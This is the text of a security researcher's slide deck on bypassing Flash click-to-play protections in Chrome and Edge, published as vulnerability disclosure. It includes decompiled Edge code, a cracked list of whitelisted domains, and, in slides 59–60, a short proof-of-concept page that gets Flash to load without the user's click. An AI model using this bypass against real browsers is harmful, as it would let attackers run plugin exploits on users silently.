1 of 62

Flash click2play in Web Browsers and other Horror Stories

Ivan Fratric, Google Project Zero

2 of 62

About me

  • Security researcher at Google Project Zero
  • Previously: Google Security Team, Academia (Uni ZG, FER)
  • Doing security research for >10 years
  • Author: Domato, WinAFL, ROPGuard
  • Pwnie nominee
  • @ifsecure on Twitter

​

​

3 of 62

Flash in HTML

​

​

​

​

​

​

  • but also:

​

​

<object width="500" height="500">

<param name="movie" value="filename.swf">

<embed src="filename.swf" width="500" height="500"></embed>

</object>

<object data="filename.swf" width="500" height="500"></object>

<embed src="filename.swf" width="500" height="500"></embed>

​

​

4 of 62

Flash 0days in the wild

5 of 62

Do attackers still care about Flash?

6 of 62

Possible approaches

  1. Find a way to abuse the whitelisting mechanism
  2. Find a way to load Flash directly without going through click2play checks

7 of 62

How to start auditing?

  • Browsers are vastly complicated
    • But Flash click2play is a relatively self-contained feature

​

  • Search Chrome source / bug tracker, Edge symbols
    • “Flash”
    • “application/x-shockwave-flash” / “application/futuresplash”
  • Look at implementation of Object / Embed HTML elements

8 of 62

Click2play in Chrome

​

​

​

​

​

​

Renderer process

Browser process

Plugin process

9 of 62

Click2play in Chrome

​

​

​

​

​

​

Renderer process

Browser process

Plugin process

GetPluginInfo

10 of 62

Click2play in Chrome

​

​

​

​

​

​

Renderer process

Browser process

Plugin process

GetPluginInfo

✘

11 of 62

Click2play in Chrome

​

​

​

​

​

​

Renderer process

Browser process

Plugin process

GetPluginInfo

✓

authorized_plugins[pid]

= c:\path\to\flash\plugin

12 of 62

Click2play in Chrome

​

​

​

​

​

​

Renderer process

Browser process

Plugin process

GetPluginInfo

✓

authorized_plugins[pid]

= c:\path\to\flash\plugin

OpenChannelToPepperPlugin

13 of 62

Click2play in Chrome

​

​

​

​

​

​

Renderer process

Browser process

Plugin process

GetPluginInfo

✓

authorized_plugins[pid]

= c:\path\to\flash\plugin

OpenChannelToPepperPlugin

✓

14 of 62

Click2play in Chrome

​

​

​

​

​

​

Renderer process

​

(evil)

Browser process

Plugin process

OpenChannelToPepperPlugin

15 of 62

Click2play in Chrome

​

​

​

​

​

​

Renderer process

​

(evil)

Browser process

Plugin process

authorized_plugins[pid]

= []

OpenChannelToPepperPlugin

16 of 62

Click2play in Chrome

​

​

​

​

​

​

Renderer process

​

(evil)

Browser process

Plugin process

authorized_plugins[pid]

= []

OpenChannelToPepperPlugin

✘

​

17 of 62

Click2play in Chrome

​

​

​

​

​

​

Renderer process

Browser process

Plugin process

GetPluginInfo

✓

authorized_plugins[pid]

= c:\path\to\flash\plugin

OpenChannelToPepperPlugin

✓

18 of 62

Click2play in Chrome

  • Difficult to bypass authorized_plugins check even with a compromised renderer
  • Idea: Load a whitelisted site and then load attacker-site in the same renderer
    • Requires site isolation bypass
    • Default whitelist is empty

​

19 of 62

Click2play in Chrome

  • Conclusion: The only way to bypass click2play is to have PluginInfoHostImpl::GetPluginInfo succeed
    • Params
      • Frame id
      • Object URL
      • Requester origin
      • Mime type

​

  • Idea: Confuse URL parser into thinking URL is safe
    • Default whitelist is empty

20 of 62

Click2play in Chrome

​

​

HostContentSettingsMap::GetWebsiteSetting

↑

PluginUtils::GetFlashPluginContentSetting

↑

ChromePluginServiceFilter::IsPluginAvailable

↑

PluginInfoHostImpl::Context::FindEnabledPlugin

↑

PluginInfoHostImpl::PluginsLoaded

↑

PluginInfoHostImpl::GetPluginInfo

21 of 62

Click2play in Chrome

​

​

HostContentSettingsMap::GetWebsiteSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

PluginUtils::GetFlashPluginContentSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

ChromePluginServiceFilter::IsPluginAvailable

↑

PluginInfoHostImpl::Context::FindEnabledPlugin

↑

PluginInfoHostImpl::PluginsLoaded

↑

PluginInfoHostImpl::GetPluginInfo

22 of 62

Click2play in Chrome

​

​

HostContentSettingsMap::GetWebsiteSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

PluginUtils::GetFlashPluginContentSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

ChromePluginServiceFilter::IsPluginAvailable

↑ ↓ returns false

PluginInfoHostImpl::Context::FindEnabledPlugin

↑

PluginInfoHostImpl::PluginsLoaded

↑

PluginInfoHostImpl::GetPluginInfo

23 of 62

Click2play in Chrome

​

​

HostContentSettingsMap::GetWebsiteSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

PluginUtils::GetFlashPluginContentSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

ChromePluginServiceFilter::IsPluginAvailable

↑ ↓ returns false

PluginInfoHostImpl::Context::FindEnabledPlugin

↑ ↓ returns true

PluginInfoHostImpl::PluginsLoaded

↑

PluginInfoHostImpl::GetPluginInfo

24 of 62

Click2play in Chrome

​

​

HostContentSettingsMap::GetWebsiteSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

PluginUtils::GetFlashPluginContentSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

ChromePluginServiceFilter::IsPluginAvailable

↑ ↓ returns false

PluginInfoHostImpl::Context::FindEnabledPlugin

↑ ↓ returns true

PluginInfoHostImpl::PluginsLoaded

↑ ↓ returns kFlashHiddenPreferHtml

PluginInfoHostImpl::GetPluginInfo

25 of 62

Click2play in Chrome

​

​

HostContentSettingsMap::GetWebsiteSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

PluginUtils::GetFlashPluginContentSetting

↑ ↓ returns CONTENT_SETTING_DETECT_IMPORTANT_CONTENT

ChromePluginServiceFilter::IsPluginAvailable

↑ ↓ returns false

PluginInfoHostImpl::Context::FindEnabledPlugin

↑ ↓ returns true

PluginInfoHostImpl::PluginsLoaded

↑ ↓ returns kFlashHiddenPreferHtml

PluginInfoHostImpl::GetPluginInfo

26 of 62

Click2play in Edge

  • Mostly implemented in FlashClickToRunHelper::DetermineControlAction
  • The entire logic is in the renderer process

27 of 62

FlashClickToRunHelper::DetermineControlAction

void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {

…

if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {

*allowed = 1;

} else {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);

if(!*allowed) {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);

}

}

}

28 of 62

FlashClickToRunHelper::DetermineControlAction

void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {

…

if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {

*allowed = 1;

} else {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);

if(!*allowed) {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);

}

}

}

Check if

  • User allowed Flash to “run once” on this site
  • User allowed this site to always run Flash

29 of 62

FlashClickToRunHelper::DetermineControlAction

void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {

…

if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {

*allowed = 1;

} else {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);

if(!*allowed) {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);

}

}

}

???

30 of 62

FlashClickToRunHelper::DetermineControlAction

void FlashClickToRunHelper::DetermineControlAction(Element, bool *allowed, bool *blocked) {

…

if(FlashClickToRunHelper::IsUserTrusted(site_url, document) {

*allowed = 1;

} else {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(site_url, perm);

if(!*allowed) {

*allowed = FlashClickToRunPlatformListHelper::IsTrustedByPlatform(object_url, 4);

}

}

}

Leads down to

FlashClickToRunPlatformListHelper::

GetPlatformTrustedResult

31 of 62

GetPlatformTrustedResult?

char __fastcall FlashClickToRunPlatformListHelper::GetPlatformTrustedResult(PUCHAR pbInput, unsigned int *a2) {

…

FlashClickToRunPlatformListHelper::EnsureMappedPlatformData();

if ( BCryptOpenAlgorithmProvider(&phAlgorithm, L"SHA256", 0i64, 0) < 0 )

Abandonment::Fail();

if ( BCryptCreateHash(phAlgorithm, &phHash, 0i64, 0, 0i64, 0, 0) < 0 )

Abandonment::Fail();

v5 = SysStringByteLen(pbInput);

if ( BCryptHashData(phHash, pbInput, v5, 0) < 0 )

Abandonment::Fail();

if ( BCryptFinishHash(phHash, &pbOutput, 0x20u, 0) < 0 )

Abandonment::Fail();

v6 = bsearch_s(

&pbOutput,

FlashClickToRunPlatformListHelper::s_platformData,

(unsigned int)FlashClickToRunPlatformListHelper::s_numEntries,

36ui64,

(int (__cdecl *)(void *, const void *, const void *))CompareHashes,

0i64);

if ( v6 ) { v2 = 1; … }

BCryptCloseAlgorithmProvider(phAlgorithm, 0);

BCryptDestroyHash(phHash);

return v2;

}

​

​

​

32 of 62

GetPlatformTrustedResult?

char __fastcall FlashClickToRunPlatformListHelper::GetPlatformTrustedResult(PUCHAR pbInput, unsigned int *a2) {

…

FlashClickToRunPlatformListHelper::EnsureMappedPlatformData();

if ( BCryptOpenAlgorithmProvider(&phAlgorithm, L"SHA256", 0i64, 0) < 0 )

Abandonment::Fail();

if ( BCryptCreateHash(phAlgorithm, &phHash, 0i64, 0, 0i64, 0, 0) < 0 )

Abandonment::Fail();

v5 = SysStringByteLen(pbInput);

if ( BCryptHashData(phHash, pbInput, v5, 0) < 0 )

Abandonment::Fail();

if ( BCryptFinishHash(phHash, &pbOutput, 0x20u, 0) < 0 )

Abandonment::Fail();

v6 = bsearch_s(

&pbOutput,

FlashClickToRunPlatformListHelper::s_platformData,

(unsigned int)FlashClickToRunPlatformListHelper::s_numEntries,

36ui64,

(int (__cdecl *)(void *, const void *, const void *))CompareHashes,

0i64);

if ( v6 ) { v2 = 1; … }

BCryptCloseAlgorithmProvider(phAlgorithm, 0);

BCryptDestroyHash(phHash);

return v2;

}

​

​

​

Q: Where does this come from?

33 of 62

GetPlatformTrustedResult?

char __fastcall FlashClickToRunPlatformListHelper::GetPlatformTrustedResult(PUCHAR pbInput, unsigned int *a2) {

…

FlashClickToRunPlatformListHelper::EnsureMappedPlatformData();

if ( BCryptOpenAlgorithmProvider(&phAlgorithm, L"SHA256", 0i64, 0) < 0 )

Abandonment::Fail();

if ( BCryptCreateHash(phAlgorithm, &phHash, 0i64, 0, 0i64, 0, 0) < 0 )

Abandonment::Fail();

v5 = SysStringByteLen(pbInput);

if ( BCryptHashData(phHash, pbInput, v5, 0) < 0 )

Abandonment::Fail();

if ( BCryptFinishHash(phHash, &pbOutput, 0x20u, 0) < 0 )

Abandonment::Fail();

v6 = bsearch_s(

&pbOutput,

FlashClickToRunPlatformListHelper::s_platformData,

(unsigned int)FlashClickToRunPlatformListHelper::s_numEntries,

36ui64,

(int (__cdecl *)(void *, const void *, const void *))CompareHashes,

0i64);

if ( v6 ) { v2 = 1; … }

BCryptCloseAlgorithmProvider(phAlgorithm, 0);

BCryptDestroyHash(phHash);

return v2;

}

​

​

​

Q: Where does this come from?

A: read from C:\Windows\system32\

edgehtmlpluginpolicy.bin

34 of 62

edgehtmlpluginpolicy.bin

  • Binary file in the format of
    • [32 bytes] sha256 of the domain name as wide char (16 bit characters)
    • [4 bytes] permission flags describing in what cases Flash is allowed to load

​

​

35 of 62

edgehtmlpluginpolicy.bin

  • Binary file in the format of
    • [32 bytes] sha256 of the domain name as wide char (16 bit characters)
    • [4 bytes] permission flags describing in what cases Flash is allowed to load

​

  • Let’s crack it!
    • Created a dictionary using DNS data from Rapid7's Project Sonar, https://opendata.rapid7.com/sonar.fdns_v2/

​

​

36 of 62

The whitelist

www.pogo.com

www.wasu.cn

www.tvnow.de

chushou.tv

more2.starfall.com

loa.gtarcade.com

nseindia.com

www.wgt.com

netgauge.unitel.ao

www.icourses.cn

www.la7.it

www.dgestilistas.es

www.zxxk.com

weathernews.jp

bigfarm.goodgamestudios.com

www.facebook.com

www.deezer.com

yahoo-mbga.jp

ok.ru

​

seer.61.com

empire.goodgamestudios.com

www.friv.com

video.baomihua.com

hiztesti.turktelekom.com.tr

www.scholastic.com

www.viz.com

www.dilidili.wang

games.aarp.org

www.douyu.com

rc.qzone.qq.com

www.nicovideo.jp

www.mynet.com

www.hotstar.com

www.4399.com

www.bilibili.com

www.msn.com

zone.msn.com

www.worldsurfleague.com

​

www.stupidvideos.com

entitlement.auth.adobe.com

video.fc2.com

www.ontvtime.ru

apps.facebook.com

www.totaljerkface.com

www.hungamatv.com

edu.glogster.com

v.pptv.com

life.pigg.ameba.jp

www.panda.tv

www.vudu.com

www.nseindia.com

music.microsoft.com

en.ikariam.gameforge.com

www.deraktionaer.tv

www.a1.net

www.poptropica.com

​

37 of 62

The whitelist

www.pogo.com

www.wasu.cn

www.tvnow.de

chushou.tv

more2.starfall.com

loa.gtarcade.com

nseindia.com

www.wgt.com

netgauge.unitel.ao

www.icourses.cn

www.la7.it

www.dgestilistas.es

www.zxxk.com

weathernews.jp

bigfarm.goodgamestudios.com

www.facebook.com

www.deezer.com

yahoo-mbga.jp

ok.ru

​

seer.61.com

empire.goodgamestudios.com

www.friv.com

video.baomihua.com

hiztesti.turktelekom.com.tr

www.scholastic.com

www.viz.com

www.dilidili.wang

games.aarp.org

www.douyu.com

rc.qzone.qq.com

www.nicovideo.jp

www.mynet.com

www.hotstar.com

www.4399.com

www.bilibili.com

www.msn.com

zone.msn.com

www.worldsurfleague.com

​

www.stupidvideos.com

entitlement.auth.adobe.com

video.fc2.com

www.ontvtime.ru

apps.facebook.com

www.totaljerkface.com

www.hungamatv.com

edu.glogster.com

v.pptv.com

life.pigg.ameba.jp

www.panda.tv

www.vudu.com

www.nseindia.com

music.microsoft.com

en.ikariam.gameforge.com

www.deraktionaer.tv

www.a1.net

www.poptropica.com

​

38 of 62

The whitelist

39 of 62

Uncracked hashes

  • 12c3d9b1a0a1f33a7d7ab1b4ccb53c1163210ee527ad5336175eb40ff1fcfe45
  • 4f5db25a3bd2f1abf3dd1a509b2e1a6d81b9ba4428f333454c29d93e794150bc

40 of 62

Why (else) is the whitelist bad?

  • Domains only, doesn’t enforce secure scheme
    • A network attacker can bypass click2play
    • Ideal for government entities with control over public infrastructure
  • XSS bugs

41 of 62

Why (else) is the whitelist bad?

42 of 62

The whitelist aftermath

  • In February 2019 Microsoft
    • Included the scheme in the hash
    • Reduced the whitelist to

43 of 62

The whitelist aftermath

  • In February 2019 Microsoft
    • Included the scheme in the hash
    • Reduced the whitelist to

44 of 62

Loading Flash

void __fastcall COleSite::ProcessObjectAfterSizeDetermined(COleSite *this)

{

…

allowed = 0;

blocked = 0;

FlashClickToRunHelper::DetermineControlAction(element, &allowed, &blocked);

if ( allowed )

{

COleSite::CreateObject(*(COleSite **)element, (struct _GUID *)(*(_QWORD *)element + 304i64));

v6 = Tree::ANode::SecurityContext(*(Tree::ANode **)element);

++*(_DWORD *)(*(_QWORD *)(*((_QWORD *)v6 + 2) + 432i64) + 4i64);

}

else

{

FlashClickToRunHelper::ShowDisabledFlashPlaceHolder(element);

}

if ( blocked )

FlashClickToRunHelper::NotifyFrameOfBlockedFlash(element);

}

​

​

​

​

​

45 of 62

Loading Flash

void __fastcall COleSite::ProcessObjectAfterSizeDetermined(COleSite *this)

{

…

allowed = 0;

blocked = 0;

FlashClickToRunHelper::DetermineControlAction(element, &allowed, &blocked);

if ( allowed )

{

COleSite::CreateObject(*(COleSite **)element, (struct _GUID *)(*(_QWORD *)element + 304i64));

v6 = Tree::ANode::SecurityContext(*(Tree::ANode **)element);

++*(_DWORD *)(*(_QWORD *)(*((_QWORD *)v6 + 2) + 432i64) + 4i64);

}

else

{

FlashClickToRunHelper::ShowDisabledFlashPlaceHolder(element);

}

if ( blocked )

FlashClickToRunHelper::NotifyFrameOfBlockedFlash(element);

}

​

​

​

​

​

46 of 62

COleSite::CreateObject

  • Also called from:
    • CObjectElement::FinalCreateObject
    • CPluginSite::FinishCreateObject
  • Can we bypass click2play by making one of these call COleSite::CreateObject

47 of 62

CObjectElement::FinalCreateObject

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

v14 = *(_QWORD *)&clsid.Data1 - *(_QWORD *)&CLSID_MacromediaSwFlash.Data1;

if ( *(_QWORD *)&clsid.Data1 == *(_QWORD *)&CLSID_MacromediaSwFlash.Data1 )

v14 = *(_QWORD *)clsid.Data4 - *(_QWORD *)CLSID_MacromediaSwFlash.Data4;

if (!v14 && (doc = Tree::ElementNode::Doc(element), CDOMPluginArray::IsFlashCreateable(markup, doc))) {

v26 = (__m128i)clsid;

*((_QWORD *)element + 44) = v36;

_mm_storeu_si128((__m128i *)element + 19, v26);

TSmartPointer<CPropertyBag,CStrongReferenceTraits,CPropertyBag *>::operator=((char *)element + 376);

_HeapReplaceString(v34, (unsigned __int16 **)element + 42);

_HeapReplaceString(v35, (unsigned __int16 **)element + 43);

_HeapReplaceString(v37, (unsigned __int16 **)element + 45);

_HeapReplaceString(v38, (unsigned __int16 **)element + 46);

v27 = Tree::ElementNode::Doc(element);

CView::AddPendingSizeDeterminationOleSite((struct CDoc *)((char *)v27 + 3528), element);

v4 = 0;

} else {

v4 = COleSite::CreateObject(element, &clsid);

}

​

48 of 62

CObjectElement::FinalCreateObject

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

​

49 of 62

CObjectElement::FinalCreateObject

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

​

If clsid is Flash clsid...

50 of 62

CObjectElement::FinalCreateObject

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

​

If clsid is Flash clsid...

AND Flash is NOT creatable...

51 of 62

CObjectElement::FinalCreateObject

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

​

If clsid is Flash clsid...

AND Flash is NOT creatable...

Create Flash object anyway

52 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

…

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

​

53 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

…

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

​

Both of these perform similar checks

Both end up calling COleSite::AllowCreateSecurityChecks

54 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

…

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

​

Idea: JavaScript callback here?

55 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

…

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

​

Both of these perform similar checks

Both end up calling COleSite::AllowCreateSecurityChecks

56 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

…

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

​

Both of these perform similar checks

Both end up calling COleSite::AllowCreateSecurityChecks

… but possibly with different arguments

57 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

…

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

​

If the element doesn’t have a markup

(it is not part of a DOM tree)

most checks get skipped and it returns true

58 of 62

Actually not that trivial

__int64 __fastcall CObjectElement::FinalCreateObject(CObjectElement *this, const unsigned __int16 *Src)

{

…

if ( !(unsigned int)COleSite::AllowCreate(element, &clsid, (int *)&v31) )

{

CObjectElement::OnFailToCreate(element);

goto end;

}

…

if(clsid == CLSID_MacromediaSwFlash && CDOMPluginArray::IsFlashCreateable(markup, doc))

{

// go through the regular flow with click2play checks

CView::AddPendingSizeDeterminationOleSite(…);

} else {

// create object immediately

v4 = COleSite::CreateObject(element, &clsid);

}

​

Returns false if document is a “Dynamic” document

59 of 62

PoC

<body onload="go1()">

<script>

var o;

function go1() {

o = document.createElement('object');

o.data = "https://wwwimages.adobe.com/www.adobe.com/swf/software/flash/about/flashAbout_info_small.swf";

o.type = "application/x-shockwave-flash";

o.width = 500;

o.height = 500;

var d = new Document();

d.adoptNode(o);

}

</script>

</body>

​

​

Element not a part of a DOM tree

Dynamic document

60 of 62

PoC

<body onload="go1()">

<script>

var o;

function go1() {

o = document.createElement('object');

o.data = "https://wwwimages.adobe.com/www.adobe.com/swf/software/flash/about/flashAbout_info_small.swf";

o.type = "application/x-shockwave-flash";

o.width = 500;

o.height = 500;

var d = new Document();

d.adoptNode(o);

setTimeout(go2, 0);

}

function go2() {

document.body.appendChild(o);

}

</script>

</body>

​

​

Element not a part of a DOM tree

Dynamic document

61 of 62

DEMO

62 of 62

Conclusion

  • The only 100% foolproof way to guard against an unsafe feature is to remove it completely